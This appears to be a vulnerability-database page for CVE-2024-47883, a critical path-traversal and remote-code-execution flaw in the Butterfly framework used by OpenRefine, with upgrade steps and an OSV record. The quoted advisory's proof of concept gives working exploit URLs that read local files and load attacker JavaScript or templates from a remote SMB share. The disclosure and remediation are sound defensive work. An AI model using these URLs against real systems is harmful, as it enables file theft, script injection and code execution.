CVE-2024-47883: Butterfly Remote Code Execution Vulnerability
CRITICALCVE-2024-47883 is a CRITICAL (CVSS 9.1) remote code execution vulnerability (CWE-36: Absolute Path Traversal) affecting Butterfly libraries in the Maven ecosystem. The issue involves butterfly has path/url confusion in resource handling leading to multiple weaknesses. Remediation is available by upgrading affected packages to version 1.2.6.
CVE-2024-47883 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2024-47883
To remediate this vulnerability, upgrade all affected Butterfly dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.openrefine.dependencies</groupId>
<artifactId>butterfly</artifactId>
<version>1.2.6</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.openrefine.dependencies
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2024-47883, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.openrefine.dependencies
Analyze the terminal output to locate any version of Butterfly in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.6), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.openrefine.dependencies command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-36: Absolute Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory. In Butterfly, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-47883 Affected Butterfly Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.openrefine.dependencies:butterfly
|
Maven |
< 1.2.6
|
1.2.6
|
References
Frequently Asked Questions
What is CVE-2024-47883?
Which Butterfly versions are affected?
What version fixes CVE-2024-47883?
Is butterfly affected?
What is the CVSS score of CVE-2024-47883?
What CWE is associated with CVE-2024-47883?
How can I check Maven dependencies for CVE-2024-47883?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3p8v-w8mr-m3x8",
"modified" : "2024-10-24T21:46:18Z",
"published" : "2024-10-24T18:16:43Z",
"aliases" : [ "CVE-2024-47883" ],
"summary" : "Butterfly has path/URL confusion in resource handling leading to multiple weaknesses",
"details" : "### Summary\n\nThe Butterfly framework uses the `java.net.URL` class to refer to (what are expected to be) local resource files, like images or templates. This works: \"opening a connection\" to these URLs opens the local file. However, if a `file:/` URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app's codebase.\n\nThis leads to multiple weaknesses and potential weaknesses:\n\n* An attacker that has network access to the application could use it to gain access to files, either on the the server's filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB).\n* An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim's browser (cross-site scripting).\n* If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).\n\n### Details\n\nThe `edu.mit.simile.butterfly.ButterflyModuleImpl.getResource` method converts a resource name into an URL, for instance:\n\n```\nimages/logo-gem-126.svg\nfile:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg\n```\n\nIf the resource name already starts with `file:/`, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.\n\nThe default implementation for `process` in `ButterflyModuleImpl` is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same `getResource` implementation through the `ButterflyResourceLoader` class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.\n\n### PoC\n\nThis demonstration has been tested with [OpenRefine](https://github.com/OpenRefine/OpenRefine) on a Windows machine. Start OpenRefine, create a file (here `example.js`) with some contents, then concatenate the OpenRefine URL and its `file:/` URL, as follows:\n\n http://localhost:3333/file:/C:/Users/Wander/example.js\n\nThe file is read and sent to the browser. Then, visit:\n\n http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html\n\nAssuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.\n\nIn the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:\n\n http://localhost:3333/file:%2f%2fwandernauta.nl/public/index\n\nAn `index.vt` template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.\n\n### Impact\n\nDepending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.openrefine.dependencies:butterfly"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.2.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OpenRefine/simile-butterfly/security/advisories/GHSA-3p8v-w8mr-m3x8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47883"
}, {
"type" : "WEB",
"url" : "https://github.com/OpenRefine/simile-butterfly/commit/537f64bfa72746f8b21d4bda461fad843435319c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OpenRefine/simile-butterfly"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-36", "CWE-918" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2024-10-24T18:16:43Z",
"nvd_published_at" : "2024-10-24T21:15:13Z"
}
}